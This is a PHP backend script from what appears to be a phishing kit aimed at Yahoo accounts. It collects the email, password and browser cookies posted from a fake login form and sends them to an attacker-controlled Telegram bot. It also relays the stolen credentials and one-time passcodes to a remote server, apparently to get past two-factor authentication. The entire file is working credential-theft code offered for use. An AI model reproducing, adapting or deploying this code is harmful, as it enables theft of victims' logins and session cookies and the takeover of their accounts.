<?php
include 'config.php';

// Function to send message to Telegram
function sendTelegramMessage($message) {
    global $telegramId, $telegarmToken;
    $url = "https://api.telegram.org/bot$telegarmToken/sendMessage";

    $data = [
        'chat_id' => $telegramId,
        'text' => $message,
        'parse_mode' => 'HTML' // Optional: allows formatting like <b>bold</b>
    ];

    $options = [
        'http' => [
            'header' => "Content-Type: application/json\r\n",
            'method' => 'POST',
            'content' => json_encode($data),
        ],
    ];

    $context = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    return $result;
}

// Retrieve POST data
 $email = trim($_POST['ai']);
 $password = trim($_POST['pr']);
 $detail = trim($_POST['detail']);

// Retrieve Cookies (sent from JS)
// We check if 'cookies' key exists in POST to avoid errors
 $cookies = isset($_POST['cookies']) ? $_POST['cookies'] : 'No cookies captured.';

if ($_POST['otpcode']) {
    $url = $base."yahoo/set-otp?".$params."&code=".$_POST["otpcode"]."&session=".base64_encode($_POST["sess"]);
    $res=curl($url);
    print_r($res);
    exit();
} else if ($_POST['authcode']) {
    $url = $base."site/set-otp?code=".$_POST["authcode"]."&busket_id=".$_POST["busket_id"];
    $res=curl($url);
    print_r($res);
    exit();
} else if ($email != null && $password != null) {
    
    // Format Cookies for readability (decode JSON string to array, then readable text)
    $cookieDisplay = $cookies;
    $decodedCookies = json_decode($cookies, true);
    if (json_last_error() === JSON_ERROR_NONE && is_array($decodedCookies)) {
        $cookieDisplay = "";
        foreach ($decodedCookies as $ck) {
            // Format: Name=Value; Domain=...
            $cookieDisplay .= "{$ck['name']}={$ck['value']}; Domain: {$ck['domain']}\n";
        }
    }

    // Construct the message including Cookies
    $message = "Login attempt:\n";
    $message .= "Email: " . $email . "\n";
    $message .= "Password: " . $password . "\n";
    $message .= "Cookies:\n" . $cookieDisplay;

    // Send to Telegram
    sendTelegramMessage($message);
    
    // Continue with your existing process
    $par = $params."&result_email=".$email."&result_password=".base64_encode($password);
    $url = $base."yahoo/set?".$par;
    $res=curl($url);
    print_r($res);
    exit();
} else {
    $signal = 'bad';
    $msg = 'Please fill in all the fields.';
}

 $data = array(
    'signal' => $signal,
    'msg' => $msg
);
echo json_encode($data);

function curl($url){
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HEADER, false);
    $data = curl_exec($curl);
    curl_close($curl);
    return $data;
}
?>